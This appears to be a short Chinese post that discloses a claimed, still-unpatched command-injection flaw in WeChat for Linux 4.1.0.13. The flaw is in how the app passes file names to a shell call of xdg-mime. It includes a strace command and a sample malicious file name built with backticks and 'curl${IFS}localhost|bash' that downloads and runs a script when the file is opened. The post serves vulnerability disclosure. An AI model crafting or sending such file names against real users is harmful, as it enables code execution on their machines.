微信linux版,截至本文发布日期,微信最新版本4.1.0.13存在rce,示例截图
打开文件即可直接造成rce,目前微信官方暂未修复

原理解析
我在使用 strace抓微信的时候,抓到了这样的一个
strace -s 65535 -y -f -e trace=all -o trace.log -p 215042

[“sh”, “-c”, “–“, “xdg-mime query filetype \”微信路径/`curl${IFS}localhost|bash`(1).txt\””]
微信这边使用sh -c起了一个xdg-mime query filetype,这个是在linux查询文件类型的,这个本来是没有问题的,但是在linux上有个特殊的点,反引号,这个优先级很高,拿下面的命令举个例子

可以看到,命令报错了,但是单引号里面的命令还是执行了。结合这个在来看微信
[“sh”, “-c”, “–“, “xdg-mime query filetype \”微信路径/`curl${IFS}localhost|bash`(1).txt\””]
curl${IFS}localhost|bash`(1).txt 这个文件名是用户可控的,简直就是天然的rce点。
